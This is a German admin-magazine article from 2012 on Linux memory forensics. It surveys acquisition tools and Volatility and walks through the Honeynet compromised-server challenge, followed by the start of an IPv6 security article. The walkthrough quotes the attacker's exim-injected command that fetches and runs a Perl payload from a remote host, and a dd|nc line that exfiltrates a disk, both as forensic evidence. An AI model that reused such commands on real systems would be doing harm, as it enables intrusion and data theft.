*Monatlich. Keine Mindestvertragslaufzeit. Keine Setupgebühr. Der Abrechnungszeitraum ist monatlich. Die Kündigungsfrist beträgt 4 Wochen zum Monatsende. Alle angegebenen Preise inkl. MwSt.<br />
**Das Host Europe SSL-Zertifikat für eine Laufzeit von 12 Monaten können Sie innerhalb von 3 Monaten nach Bestellung eines Virtual <strong>Server</strong> mit Linux-Betriebssystem kostenlos hinzubuchen.
Security<br />
Speicheranalyse<br />
© stylephotographs, 123RF<br />
Die forensische Analyse des Arbeitsspeichers unter Linux<br />
Spurensicherung<br />
In der Computer-Forensik wird die Arbeitsspeicheranalyse als Mittel zur Untersuchung von Sicherheitsvorfällen<br />
immer wichtiger. Dieser Beitrag gibt einen Überblick über die verschiedenen Möglichkeiten der Speicherakquise<br />
unter Linux und stellt die Linux-Variante der Analysesoftware Volatility vor. Peter Schulik<br />
Die Sicherung des Arbeitsspeichers bei<br />
der Behandlung und Diagnose eines möglichen<br />
Sicherheitsvorfalls gehört mittlerweile<br />
zu den ersten Schritten überhaupt.<br />
Die traditionelle Untersuchung von persistentem<br />
Speicher reicht heute nicht<br />
mehr aus, denn mit der steigenden Kapazität<br />
von Festplatten steigt in der Regel<br />
auch die Datenmenge, die forensisch untersucht<br />
werden muss, um einen Angriff<br />
zu erkennen. Die Analyse des flüchtigen<br />
Speichers kann diese Untersuchungen<br />
unterstützen und beschleunigen, denn<br />
dabei sucht der Forensiker nur in einer<br />
vergleichsweise kleinen Datenmenge<br />
nach Hinweisen für einen erfolgreichen<br />
Angriff. Darüber hinaus enthält der Arbeitsspeicher<br />
oft wichtige Spuren, wie<br />
zum Beispiel laufende Prozesse oder aktive<br />
Netzwerkverbindungen.<br />
Diese Informationen sind vor allem<br />
wichtig, um Techniken aus dem Bereich<br />
der Anti-Forensik richtig zu begegnen.<br />
So ist es in manchen Fällen möglich,<br />
die Passphrase für ein verschlüsseltes<br />
Laufwerk, aus dem flüchtigen Speicher<br />
zu extrahieren. Aber auch nicht persistente<br />
Schadsoftware lässt sich mithilfe<br />
der Arbeitsspeicheranalyse aufspüren.<br />
Vor allem bei gezielten Angriffen wird<br />
häufig Schadcode verwendet, der nur im<br />
Arbeitsspeicher aktiv ist und keine Daten<br />
auf der Festplatte hinterlässt [1] [2].<br />
Dieser Typ von Schadsoftware ist ohne<br />
Analyse des flüchtigen Speichers so gut<br />
wie nicht nachweisbar.<br />
Bisher stand die Entwicklung von Speicheranalysetechniken<br />
für Windows-Betriebssysteme<br />
im Vordergrund. In letzter<br />
Zeit wächst jedoch die Anzahl der Angriffe<br />
auf Linux basierte Systeme, die vor<br />
allem im Embedded-Bereich, als <strong>Server</strong>betriebssysteme<br />
in Rechenzentren und<br />
mit Android auf den meisten mobilen Geräten<br />
zum Einsatz kommen. Aus diesen<br />
Gründen wird zuletzt immer mehr Arbeit<br />
in die Linux-Speicheranalyse gesteckt.<br />
Speicherakquise<br />
In aktuellen Kernel-Versionen ist der Zugriff<br />
auf den Hauptspeicher von Linux-<br />
Systemen stark eingeschränkt worden.<br />
Konnte man in der Vergangenheit mittels<br />
der beiden Gerätetreiber »/dev/mem«<br />
und »/dev/kmem« den Arbeitsspeicher<br />
auslesen, so wurde diese Möglichkeit<br />
mittlerweile standardmäßig abgeschaltet.<br />
Auch das aus dem Coroner’s Toolkit<br />
bekannte Werkzeug »memdump« [3] sicherte<br />
den Arbeitsspeicher über »/dev/<br />
mem« und funktioniert bei aktuellen<br />
Versionen nicht mehr. Die Deaktivierung<br />
wurde notwendig, um den Missbrauch<br />
dieser Geräte durch Schadsoftware [4]<br />
zu verhindern. Um diese Einschränkung<br />
aufzuheben, muss der Kernel ohne die<br />
Restriktion durch »CONFIG_STRICT_<br />
DEVMEM« neu kompiliert werden. Dieses<br />
Vorgehen erfordert jedoch zwingend<br />
einen Neustart, was dazu führt, dass der<br />
Inhalt des Arbeitsspeichers überschrieben<br />
wird und somit für den Forensiker<br />
nutzlos ist.<br />
Sicherung unter Linux<br />
Eine frei verfügbare Alternative, die bei<br />
Vorfällen zur Speicherakquise unter Linux<br />
zum Einsatz kommt, ist das Kernelmodul<br />
»fmem« [5]. Um »fmem« zu<br />
34 Ausgabe 04-2012 Admin www.admin-magazin.de
Speicheranalyse<br />
Security<br />
nutzen, muss es zuerst kompiliert und<br />
dann in den laufenden Kernel geladen<br />
werden. Dabei wird ein neues Pseudodevice<br />
»/dev/fmem« erzeugt mit dessen<br />
Hilfe man den Speicher sichert. Dieser<br />
Vorgang verursacht bereits Veränderungen<br />
am Zustand des Systems, was im<br />
schlimmsten Fall dazu führen kann, dass<br />
wichtige Spuren für den Forensiker verloren<br />
gehen.<br />
»fmem« und »crash«<br />
Nachdem das »fmem« Modul geladen ist,<br />
kann mithilfe des Werkzeugs »dd« der<br />
komplette Inhalt des Speichers in eine<br />
Datei geschrieben werden. Es ist wichtig,<br />
bei »fmem« die Kapazität des Arbeitsspeichers<br />
mit anzugeben, da »dd« sonst über<br />
die wirkliche Größe des Speichers hinaus<br />
liest und schreibt: »dd if=/dev/fmem<br />
of=memory.dd bs=1MB count=512«<br />
Ein weiteres Werkzeug zum Sichern des<br />
Arbeitsspeichers ist das von Red Hat<br />
entwickelte Kernelmodul »crash« [6].<br />
Wie bereits »fmem«, erzeugt »crash«<br />
ein Pseudodevice namens »/dev/crash«<br />
über das es möglich ist, den flüchtigen<br />
Speicher auszulesen. Im Vergleich zum<br />
Sicherungsvorgang mittels »fmem« ist es<br />
hier nicht nötig, die Größe des Arbeitsspeichers<br />
explizit anzugeben.<br />
In der aktuellen Version, bringt das Analyseframework<br />
Volatility [7] ebenfalls ein<br />
Kernelmodul zur Sicherung des flüchtigen<br />
Speichers mit. Es trägt den Namen<br />
»pmem« und ist im Unterverzeichnis<br />
»tools/linux« zu finden. Bevor der Treiber<br />
einsetzbar ist, muss er zunächst auf<br />
dem betroffenen System übersetzt werden.<br />
Dazu müssen die richtigen Kernel-<br />
Header auf dem System installiert sein.<br />
Bei der Kompilierung mittels »make«,<br />
wird im Verzeichnis das Kernel-Modul<br />
»pmem.ko« generiert. Das Laden dieses<br />
Moduls in den laufenden Kernel, erzeugt<br />
das Pseudodevice »/dev/pmem«<br />
über welches der Speicher mithilfe von<br />
»dd« gesichert werden kann. Abbildung<br />
1 zeigt den kompletten Vorgang bei einem<br />
Ubuntu-11.10-System.<br />
Unter Android und bei VMs<br />
zwei Problemen [8]. So benötigt etwa<br />
»fmem« die Methode »page_is_ram«, die<br />
aber im Linux-Kernel für ARM-Architekturen<br />
fehlt. Diese Methode prüft, ob<br />
es sich bei einer Page um Arbeitsspeicher<br />
handelt. Zum Zweiten kann die in<br />
Android enthaltene Implementierung von<br />
»dd« nicht richtig mit Offset-Werten über<br />
0x80000000 umgehen. Um diese Einschränkungen<br />
zu umgehen, wurde für<br />
Android das Akquisewerkzeug LiME [9]<br />
entwickelt, mit dem man den flüchtigen<br />
Speicher auf eine SD-Karte oder über das<br />
Netzwerk sichern kann. Nachdem das<br />
Tool zuerst die Bezeichnung DMD trug,<br />
was für Droid Memory Dumper steht,<br />
wurde es mittlerweile in Linux Memory<br />
Extractor umbenannt. Der neue Name<br />
soll vor allem verdeutlichen, dass es sowohl<br />
zur Sicherung des Arbeitsspeichers<br />
von Android-Geräten als auch von Linux-<br />
Systemen verwendet werden kann.<br />
Die komfortabelste Möglichkeit zur Sicherung<br />
des Arbeitsspeichers bieten virtuelle<br />
Maschinen. Hier ist es nicht notwendig,<br />
erst ein entsprechendes Kernel-Modul zu<br />
laden. Stattdessen wird durch das Aktivieren<br />
des Suspend-Modus der komplette<br />
Speicherinhalt in eine Datei geschrieben.<br />
Diese Datei kann direkt forensisch analysiert<br />
werden. Beispielsweise wird bei<br />
VMWare Workstation das Gast-System<br />
mithilfe des Pause-Buttons in den Suspend-Modus<br />
versetzt. Dabei wird eine<br />
Datei mit der Endung ».vmem« erzeugt,<br />
die den kompletten Inhalt des flüchtigen<br />
Speichers enthält.<br />
Speicheranalyse<br />
Nachdem der Arbeitsspeicher erfolgreich<br />
gesichert wurde, erfolgt im nächsten<br />
Schritt die externe Analyse. Bis vor ein<br />
paar Jahren bestand diese Analyse jedoch<br />
hauptsächlich aus der Suche nach<br />
verdächtigen Zeichenketten mithilfe von<br />
Werkzeugen wie »strings«. Mit diesem<br />
Problem beschäftigte sich erstmals die<br />
Forensic Challenge aus dem Digital Forensic<br />
Research Workshop 2008 [10]. Ziel<br />
dieser Challenge war es, vor allem die<br />
Entwicklung von Analysewerkzeugen für<br />
Linux zu fördern, mit denen es möglich<br />
ist, wichtige Informationen, die sonst nur<br />
auf einem noch laufenden System abrufbar<br />
sind, aus dem Speicherabbild zu<br />
extrahieren.<br />
Eines der ersten Werkzeuge zur Speicheranalyse<br />
unter Linux war das Python-Skript<br />
Draugr [11]. Es erlaubt, den<br />
Arbeitsspeicher eines noch laufenden<br />
Systems direkt über das Pseudodevice<br />
»/dev/mem« zu untersuchen. Aber auch<br />
Speicherabbilder, die als Datei vorliegen,<br />
können mit Draugr analysiert werden.<br />
Ein Nachteil ist jedoch sein beschränkter<br />
Funktionsumfang, der sich auf das<br />
Auflisten von Prozessen sowie das<br />
Die bisher vorgestellten Sicherungsmethoden<br />
funktionieren auf Android-Geräten<br />
nicht. Dies liegt hauptsächlich an<br />
Abbildung 1: Das Modul pmem wird zuerst übersetzt und in den laufenden Kernel geladen. Danach kann der<br />
Arbeitsspeicher mit »dd« gesichert werden.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
35
Security<br />
Speicheranalyse<br />
Disassemblieren oder Extrahieren von bestimmten<br />
Speicherbereichen beschränkt.<br />
Seit 2009 wird Draugr nicht mehr weiterentwickelt.<br />
Volatilitux<br />
Ein weiteres Werkzeug zur Arbeitsspeicheranalyse<br />
ist Volatilitux [12]. Es galt<br />
lange Zeit als Linux-Äquivalent zu Volatility,<br />
als dieses nur die Analyse von<br />
Windows-Systemen unterstützte. Mittlerweile<br />
beherrscht auch Volatility die Speicheranalyse<br />
von Linux-Systemen, jedoch<br />
fehlen zwei wichtige Merkmale, die in<br />
Volatilitux bereits enthalten sind.<br />
Eines dieser Merkmale ist die Fähigkeit<br />
Kernelstrukturen automatisch zu erkennen.<br />
Dadurch ist man nicht auf die vorherige<br />
Erzeugung eines Kernelprofils angewiesen.<br />
Bei manchen Speicherabbildern<br />
funktioniert die automatische Erkennung<br />
jedoch nicht zuverlässig. Für diesen Fall<br />
liegt Volatilitux ein Linux-Kernelmodul<br />
bei, mit dem eine Konfigurationsdatei erstellt<br />
werden kann. Diese Datei enthält<br />
Informationen zum Speicherlayout und<br />
muss bei jedem Aufruf mit angegeben<br />
werden.<br />
Des Weiteren unterstützt Volatilitux bereits<br />
die Speicherabbilder von Systemen<br />
mit ARM-Architektur. Somit können neben<br />
den klassischen Rechnersystemen,<br />
auch mobile Geräte, wie zum Beispiel<br />
Android Smartphones analysiert werden.<br />
Dieser Punkt gewinnt immer mehr an Bedeutung,<br />
da die Entwicklung von Schadsoftware<br />
für mobile Endgeräte zugenommen<br />
hat [13]. Die Entwickler von LiME<br />
arbeiten bereits an einer Erweiterung, mit<br />
der man demnächst auch unter Volatility<br />
Speicherabbilder von Android-Geräten<br />
analysieren kann.<br />
Zusätzlich zu den aus Draugr bekannten<br />
Funktionen kann man mit Volatilitux die<br />
geöffneten Dateien eines Prozesses anzeigen<br />
und extrahieren. Im Dezember<br />
letzten Jahres wurde zudem eine neue<br />
Version von Volatilitux veröffentlicht,<br />
mit der es nun auch möglich ist, 64-Bit-<br />
Systeme zu analysieren.<br />
Volatility<br />
Das Werkzeug mit der größten Funktionalität<br />
ist das Open-Source-Framework<br />
Volatility. Die in Python geschriebene<br />
Abbildung 2: Dem Session-Objekt das Speicherabbild und die Datei mit dem Kernelprofil übergeben. Die<br />
beiden Plugins cpuinfo und ifconfig geben Auskunft über die Konfiguration des betroffenen Systems.<br />
Software wird bisher vor allem zur Analyse<br />
von Windows verwendet. Seit 2011<br />
gibt es auch eine Version, die es ermöglicht,<br />
den Arbeitsspeicher von Linux-<br />
Systemen zu untersuchen [14]. Aktuell<br />
wird deren ursprüngliche Codebasis im<br />
Branch »scudette« überarbeitet. Ziel ist<br />
es, die Windows- und Linux-Version zu<br />
vereinen.<br />
Eine Schwierigkeit bei der Arbeitsspeicheranalyse<br />
unter Linux ist, dass verschiedene<br />
Kernelversionen unterschiedliche<br />
Speicherlayouts aufweisen. Diese<br />
Problematik löst Volatility durch sogenannte<br />
Kernelprofile, die für jede Kernelversion<br />
eigens erstellt werden müssen.<br />
Ein Profil besteht aus der Datei »System.<br />
map« und den Debug-Informationen des<br />
verwendeten Kernels. Die Datei »System.map«,<br />
welche sich im Verzeichnis<br />
»/boot« befindet, enthält die Adressen<br />
der Datenstrukturen und Funktionen. Für<br />
das Extrahieren der Debug-Informationen<br />
aus dem laufenden Kernel muss das<br />
Werkzeug »dwarfdump« auf dem System<br />
installiert sein. Ist das der Fall, so erzeugt<br />
das Makefile im Verzeichnis »tools/linux«<br />
automatisch die Datei »module.dwarf«,<br />
welche die nötigen Informationen enthält.<br />
Abschließend müssen beide Dateien<br />
noch in ein Zip-Archiv gepackt werden:<br />
»zip ubuntu1110.zip /boot/System.<br />
map‐3.0.0‐19‐generic module.dwarf«<br />
Die Analysefunktionen von Volatility realisieren<br />
Plugins. Dadurch ist es Forensikern<br />
möglich, das Analyseframework<br />
sehr leicht um eigene Funktionen zu erweitern.<br />
In der ursprünglichen Version<br />
für Linux verfügte Volatility bereits über<br />
15 verschiedene Plugins. Neben den<br />
schon aus Draugr und Volatilitux bekannten<br />
Funktionen, erlaubt es Volatility beispielsweise<br />
auch, aktive Netzwerkverbindungen<br />
anzuzeigen oder alle geladenen<br />
Kernelmodule auszugeben. Im aktuellen<br />
Branch »scudette« sind jedoch noch nicht<br />
alle Plugins neu implementiert, was beim<br />
Aufruf zu Fehlermeldungen führt.<br />
Analysebeispiel<br />
In diesem Abschnitt, wird die Analyse<br />
eines kompromittierten Linux-<strong>Server</strong>s<br />
mithilfe von Volatility demonstriert.<br />
Das hier verwendete Festplattenimage<br />
»victoria‐v8.sda1.img« und das Arbeitsspeicherabbild<br />
»victoria‐v8.memdump.<br />
img« stammen aus der Honeynet Challenge<br />
7 – Forensic Analysis of a Compromised<br />
<strong>Server</strong> [15]. Auf Grundlage der<br />
Analyse, sollen in der Challenge folgende<br />
Fragen beantwortet werden:<br />
n Welche Prozesse sind auf dem System<br />
gelaufen?<br />
n Welcher Dienst wurde angegriffen?<br />
n Welche Schwachstelle wurde<br />
ausgenutzt?<br />
n War der Angriff auf das System<br />
erfolgreich?<br />
n Welche Absicht hatte der <strong>Angreifer</strong>?<br />
n Wurden Informationen vom <strong>Angreifer</strong><br />
gestohlen?<br />
Bevor mit der Untersuchung des Arbeitsspeichers<br />
begonnen werden kann, muss<br />
36 Ausgabe 04-2012 Admin www.admin-magazin.de
Speicheranalyse<br />
Security<br />
zunächst ein Kernelprofil erstellt werden.<br />
Im ursprünglichen Branch von Volatility<br />
für Linux war ein Profil für das betroffene<br />
System bereits enthalten. Es handelte sich<br />
dabei um eine »vtypes«-Datei, die jedoch<br />
nicht identisch mit der »module.dwarf«<br />
ist. Zwar unterstützt der aktuelle Branch<br />
Scudette auch Zip-Archive, die aus einer<br />
»vtypes«-Datei und der »System.map« des<br />
Kernels bestehen, jedoch ließ sich damit<br />
das kompromittierten Linux-System nicht<br />
fehlerfrei analysieren. Deshalb ist es an<br />
dieser Stelle notwendig, nachträglich ein<br />
neues Profil zu erstellen.<br />
Session starten<br />
Um das Analyse-Framework zu starten,<br />
muss das Python-Skript »vol.py« in der<br />
Konsole aufgerufen werden. Daraufhin<br />
wird eine ipython-Shell geladen, die als<br />
Benutzerschnittstelle dient. Außerdem<br />
generiert Volatility beim Start ein Session-<br />
Objekt. Dieser Session übergibt man das<br />
Speicherabbild, das Kernelprofil und die<br />
Information, ob es sich um ein 32- oder<br />
64-Bit-Linux-System handelt. Die entsprechenden<br />
Angaben dienen als globale<br />
Parameter und werden bei jedem Aufruf<br />
standardmäßig an die Analyseplugins<br />
Das Tool »netcat« wird typischerweise<br />
zum Übertragen von Daten über das<br />
Netzwerk verwendet. Deshalb besteht<br />
der nächste logische Schritt aus der Anzeige<br />
der aktiven Netzwerkverbindungen.<br />
Abbildung 4 zeigt die aktiven Netzwerkverbindungen<br />
des Systems. Für die<br />
Analyse wird jedoch der ursprüngliche<br />
Branch »linux‐support« von Volatility für<br />
Linux verwendet, da das »netstat«-Plugin<br />
noch nicht im Branch Scudette implementiert<br />
ist.<br />
Wie man der Auflistung entnehmen<br />
kann, gibt es mehrere Verbindungen<br />
vom betroffenen System zu der IP-Adresse<br />
»192.168.56.1«. Zudem handelt es<br />
sich bei den Ports »4444« und »8888« um<br />
keine regulären Netzwerkdienste. Es liegt<br />
die Vermutung nahe, dass es sich um<br />
die IP-Adresse des <strong>Angreifer</strong>s handeln<br />
könnte und dieser mithilfe von »netcat«<br />
versucht hat, Daten auf das System zu<br />
übertragen oder abzuziehen.<br />
Die bisher gewonnenen Informationen<br />
lassen darauf schließen, dass es sich um<br />
einen erfolgreichen Angriff gehandelt<br />
hat. Deshalb soll im nächsten Schritt<br />
festgestellt werden, wie der <strong>Angreifer</strong> in<br />
das System eingedrungen ist. Dazu ist es<br />
sinnvoll, die Log-Dateien der Prozesse<br />
zu betrachten, die über das Netzwerk<br />
erreichbar sind.<br />
Der Mail Transfer Agent »exim4« speichert<br />
seine Log-Datei im Verzeichnis »/<br />
var/log/exim«. Betrachtet man die Log-<br />
Datei »mainlog«, so findet man mehrere<br />
verdächtige Einträge: Der Log-Eintrag in<br />
Listing 1 zeigt beispielsweise den Verübergeben.<br />
Somit müssen diese Informationen<br />
nicht jedes Mal neu angegeben<br />
werden. Nun ist es möglich, den Arbeitsspeicher<br />
mithilfe von Volatility forensisch<br />
zu analysieren. Als Erstes kann man Informationen<br />
über das betroffene Linux<br />
System sammeln. Beispielsweise gibt das<br />
Plugin »cpuinfo« aus, welcher Prozessor<br />
verbaut war. Mit »ifconfig« kann die IP-<br />
Adresse des betroffenen Systems ermittelt<br />
werden. Abbildung 2 zeigt den kompletten<br />
Vorgang.<br />
Was lief denn da?<br />
Volatility ermöglicht die Auflistung aller<br />
Prozesse, die zum Zeitpunkt der Speicherakquise<br />
liefen. Dafür wird das Plugin<br />
»pslist« verwendet. Aufruf und Ausgabe<br />
dieses Plugins werden in Abbildung 3<br />
gezeigt. Anhand der Prozesse kann ein<br />
Forensiker erkennen, ob ein <strong>Angreifer</strong><br />
einen für das System untypischen Prozess<br />
gestartet hat. Beispielsweise könnte<br />
auf dem System ein weiterer SSH-<strong>Server</strong><br />
laufen, der dem <strong>Angreifer</strong> als Hintertür<br />
dient. Zwar ist es auch möglich, diese Informationen<br />
direkt am laufenden System<br />
abzurufen, jedoch könnte sich auf dem<br />
zu untersuchenden System ein Rootkit<br />
Abbildung 3: Das Plugin pslist zeigt alle Prozesse an, die zum Zeitpunkt der Speicherakquise auf dem<br />
betroffenen System liefen.<br />
befinden, das diesen Prozess und somit<br />
die Hintertür versteckt. Vor der externen<br />
Analyse des Arbeitsspeichers kann das<br />
Rootkit jedoch nichts verstecken.<br />
Betrachtet man die Ausgabe der Prozesse,<br />
so erkennt man, dass ein SSH-<br />
<strong>Server</strong> und der Mail Transport Agent<br />
»exim4« auf dem Linux-System liefen.<br />
Zudem waren mit »memdump« und »nc«<br />
(netcat) zwei eher untypische Prozesse<br />
aktiv. Bei »memdump« handelt es sich<br />
um ein Werkzeug, welches früher zur<br />
Speicherakquise verwendet wurde. Dies<br />
verdeutlicht, dass auch die Aktivitäten<br />
des Forensikers am laufenden System<br />
Spuren hinterlassen.<br />
Offene Verbindungen<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
37
Security<br />
Speicheranalyse<br />
Abbildung 4: Mithilfe von linux_netstat konnten im ursprünglichen Volatility alle aktiven Netzwerkverbindungen<br />
aufgelistet werden. Das Analyseplugin ist noch nicht in der neuen Codebasis verfügbar.<br />
such des <strong>Angreifer</strong>s, eine E-Mail mit<br />
Shell-Befehlen an den Dienst »exim4« zu<br />
schicken. Ziel ist das Herunterladen und<br />
Ausführen der Datei »c.pl«. Untersucht<br />
man die restlichen verdächtigen Einträge,<br />
so stellt man fest, dass eine E-Mail erfolgreich<br />
verarbeitet wurde. Dabei ist die<br />
Datei »rk.tar« nachgeladen und ausgeführt<br />
worden.<br />
Basierend auf den Informationen aus der<br />
Log-Datei, stößt man bei der Recherche<br />
nach Angriffsmöglichkeiten für »exim4«<br />
auf die Schwachstelle »CVE‐2010‐4344«.<br />
Diese erlaubt es einem <strong>Angreifer</strong>, unter<br />
Ausnutzung eines Heap-Buffer-Overflows,<br />
beliebige Kommandos auf dem<br />
Zielsystem auszuführen.<br />
Was lief ab?<br />
Zuletzt ist es interessant herauszufinden,<br />
welches Ziel der <strong>Angreifer</strong> verfolgt hat.<br />
Die Verwendung von »netcat« zeigt, dass<br />
der <strong>Angreifer</strong> Kommandos auf dem betroffenen<br />
System eingegeben hat. Deshalb<br />
sollte die Shell-History der Benutzer<br />
des Systems untersucht werden. Die<br />
Zeile »dd if=/dev/sda1 | nc 192.168.56.1<br />
4444« in der Datei »/root/.bash_history«<br />
offenbart, dass der <strong>Angreifer</strong> versucht<br />
hat, die Festplatte mit dem Werkzeug<br />
»dd« zu kopieren und mittels »nc« auf<br />
seinen Rechner zu übertragen.<br />
Listing 1: Log-Eintrag<br />
01 2011‐02‐06 15:08:13 H=(abcde.com)<br />
02 [192.168.56.101] temporarily rejected MAIL<br />
Dieses Beispiel zeigt, wie man mithilfe<br />
der Arbeitsspeicheranalyse erste Erkenntnisse<br />
über einen möglichen Angriff gewinnen<br />
kann. Im Zusammenspiel mit<br />
der klassischen Festplatten-Forensik beschleunigt<br />
dies den investigativen Prozess<br />
ungemein, da der Forensiker weiß,<br />
wo er gezielt nach weiteren Spuren suchen<br />
muss. Da<strong>gegen</strong> reicht eine alleinige<br />
Analyse des flüchtigen Speichers selten<br />
aus, um eine erfolgreiche Kompromittierung<br />
des Systems festzustellen.<br />
Fazit<br />
Stand in den letzten Jahren die Speicheranalyse<br />
von Windows-Systemen im<br />
Vordergrund, so kann man mittlerweile<br />
erkennen, dass sich immer mehr Forensiker<br />
mit der Analyse von Linux-Systemen<br />
beschäftigen. Ein Grund dafür ist<br />
die zunehmende Verbreitung von Linux<br />
auf <strong>Server</strong>n und mobilen Geräten. Somit<br />
rücken diese Systeme auch immer stärker<br />
in den Fokus der <strong>Angreifer</strong>. Des Weiteren<br />
lässt sich mithilfe der Arbeitsspeicheranalyse<br />
die Bearbeitung eines Vorfalls<br />
deutlich beschleunigen. Aber auch nicht<br />
persistente Malware kann damit identifiziert<br />
werden, was mit der traditionellen<br />
Festplatten-Forensik nicht möglich ist.<br />
Vor allem das Volatility Framework wird<br />
stetig um neue Funktionen erweitert und<br />
03 : failed to expand ACL string "pl 192.168.56.1 4444; sleep 1000000'"}}<br />
04 ${run{/bin/sh ‐c "exec /bin/sh ‐c 'wget http://192.168.56.1/c.pl ‐O /tmp/c.pl;perl /tmp/c.pl<br />
192.168.56.1 4444; sleep 1000000'"}}<br />
05 ${run{/bin/sh ‐c "exec /bin/sh ‐c 'wget http://192.168.56.1/c.pl ‐O /tmp/c.pl;perl /tmp/c.pl<br />
192.168.56.1 4444; sleep 1000000'"}}<br />
stellt ein wertvolles Werkzeug zur Speicheranalyse<br />
unter Linux dar. War es bis<br />
vor Kurzem nur möglich, 32-Bit-Systeme<br />
zu untersuchen, so werden jetzt auch<br />
64-Bit-Betriebssysteme unterstützt. Dies<br />
ist eine sehr wichtige Neuerung, da die<br />
Anzahl der 64-Bit-Systeme kontinuierlich<br />
zunimmt. Trotzdem fehlen noch einige<br />
Funktionen, die in naher Zukunft verfügbar<br />
sein sollen. Beispielsweise fehlt<br />
die Unterstützung der ARM-Architektur,<br />
die für die Untersuchung von Android<br />
Smartphones nötig ist. Aber auch die<br />
Analyseplugins aus dem ursprünglichen<br />
Branch »linux‐support« wurden noch<br />
nicht komplett in die neuen Codebasis<br />
mit aufgenommen. (jcb) <br />
n<br />
Infos<br />
[1] D. Brezinski, T. Killalea: „Guidelines for<br />
Evidence Collection and Archiving“, RFC<br />
3227 02/2002<br />
[2] grugq: „Remote Code execution without<br />
creating a file on disk“, Phrack 62 07/<br />
2004<br />
[3] The Coroner’s Toolkit: [http:// www.<br />
porcupine. org/ forensics/ tct. html]<br />
[4] A. Lineberry: „Malicious Code Injection<br />
via /dev/mem“, BlackHat Europe 03/2009<br />
[5] fmem: [http:// hysteria. sk/ ~niekt0/<br />
fmem/]<br />
[6] crash: [http:// people. redhat. com/<br />
anderson/ crash_whitepaper/]<br />
[7] Volatility: [http:// www. volatilesystems.<br />
com/ default/ volatility]<br />
[8] J. Sylve: „Acquisition and analysis of<br />
volatile memory from android devices“,<br />
Digital Investigation 8/2012, S. 177<br />
[9] LiME: [http:// code. google. com/ p/<br />
lime‐forensics/]<br />
[10] DFRWS Challenge 2008: [http:// www.<br />
dfrws. org/ 2008/ challenge/ index. shtml]<br />
[11] Draugr: [http:// code. google. com/ p/<br />
draugr/]<br />
[12] Volatilitux: [http:// code. google. com/ p/<br />
volatilitux/]<br />
[13] T. Dirro, P. Greve, R. Kashyap, D. Marcus,<br />
F. Paget, C. Schmugar, J. Shah, A. Wosotowsky:<br />
„McAfee Threads Report: Second<br />
Quarter 2011“, 09/2011<br />
[14] Volatility: [http:// code. google. com/ p/<br />
volatility/]<br />
[15] Honeynet Project Challenge 7 of the<br />
Forensic Challenge 2011: [http:// www.<br />
honeynet. org/ challenges/ 2011_7_compromised_server]<br />
38 Ausgabe 04-2012 Admin www.admin-magazin.de
Linux-<strong>Magazin</strong><br />
ACADEMY<br />
... wir qualifizieren Ihre Mitarbeiter!<br />
IT Trainings Online<br />
Linux und Open Source<br />
Nutzen Sie die Vorteile<br />
der Linux-<strong>Magazin</strong> Academy!<br />
✓<br />
✓<br />
✓<br />
✓<br />
✓<br />
Kompetent: Unsere Dozenten sind ausge wiesene<br />
Profis mit lang jähriger Schulungserfahrung.<br />
Flexibel: Der Schulungsteilnehmer lernt, wann,<br />
wo und sooft er möchte.<br />
Kosteneffizient: Nutzen Sie Einsparungen<br />
<strong>gegen</strong>über Vor-Ort-Schulungen.<br />
Übersichtlich: Die komfortable Web- Oberfläche<br />
zeigt gleich zeitig den Trainer und dessen<br />
Arbeitsfläche<br />
Individuell: Jeder Teilnehmer folgt seinem eigenen<br />
Lerntempo.<br />
Trainingspakete:<br />
• LPIC-1-Training<br />
LPIC-2-Training<br />
IT-Sicherheit Grundlagentraining<br />
• WordPress 3.0<br />
OpenOffice – Arbeiten mit Vorlagen<br />
Was Teilnehmer über die<br />
Linux-<strong>Magazin</strong> Academy sagen:<br />
„Mit den Videos haben Sie ins Schwarze<br />
getroffen. Es gibt nichts Vergleichbares.“<br />
„Eine hervorragende Anleitung zum<br />
praktischen Arbeiten.“<br />
Testen Sie unsere Demovideos:<br />
academy.linux-magazin.de/demo<br />
Präsentiert von:<br />
www.linux-magazin.de<br />
www.lpi.org<br />
www.linuxhotel.de<br />
Weitere Infos: academy.linux-magazin.de
Security<br />
Unmanaged IPv6<br />
© Stanislaw Tokarski, 123RF<br />
Unbeachtete IPv6-Features gefährden das LAN<br />
Die Pflichten<br />
des Protokolls<br />
Langsam aber sicher etabliert sich IPv6 im IT-Alltag, und alle modernen Betriebssysteme von Windows über<br />
MacOS X bis zu Linux haben es an Bord. Doch Vorsicht: Wer die IPv6-Einführung dem Selbstlauf überlässt, erlebt<br />
unter Umständen unangenehme Überraschungen. Egon Grünter, Werner Anrath, Sabine Werner<br />
Im Jahr 1995 wählte die Internet Engineering<br />
Task Force (IETF) IPv6 als Nachfolger<br />
für IPv4 aus. Anfangs war das noch<br />
kein vielbeachtetes Thema. Das änderte<br />
sich erst, als Microsoft Windows Vista<br />
und die Windows-<strong>Server</strong>-Plattformen im<br />
Jahr 2007 mit IPv6-Unterstützung ausstattete.<br />
Linux in all seinen Varianten<br />
und Apples MacOS X zogen nach, und<br />
so verbreitete sich das neue Protokoll<br />
mit jeder neuen Installation. Bei allen<br />
diesen Rechner ist IPv6 heute per Default<br />
aktiv. Diese Rechner kommunizieren im<br />
Dual-Stack-Betrieb unaufgefordert auch<br />
über IPv6. Darüber hinaus verwenden<br />
Mirosofts Betriebssysteme sogenannte<br />
Transition Technologies, die quasi IPv4<br />
als Link-Layer-Protokoll für IPv6 nutzen.<br />
Das passiert im Selbstlauf und zum Teil<br />
lange, bevor Admins den regulären IPv6-<br />
Betrieb organisieren. Und genau darin<br />
steckt eine latente Bedrohung.<br />
Wer ist wie weit?<br />
Im LAN werden Microsoft Betriebssysteme,<br />
Linux und Apples OS X am häufigsten<br />
verwendet. Sie alle setzen IPv6<br />
parallel zum IPv4-Protokoll ein. Dabei ist<br />
IPv6 standardmäßig aktiviert und aktiv –<br />
die Systeme kommunizieren im Netzwerk<br />
per Dual-Stack-Betrieb (Abbildung 1). Die<br />
folgende Übersicht zeigt die Standardeinstellungen<br />
aktueller Betriebssystemvarianten:<br />
Windows Vista / 7 / 2008<br />
n IPv6 installiert und aktiv<br />
n Stateless Address Autoconfiguration<br />
aktiv (RFC 2462 / RFC 4862)<br />
n IPv6 Stack: zahlreiche Verbesserungen<br />
(Dual Layer)<br />
n GUI-, CLI- and GPO2-Konfiguration<br />
n Integrated Internet Protocol Security<br />
(IPsec) verfügbar<br />
n Privacy Extensions (RFC 3041 /RFC<br />
4941) aktiv<br />
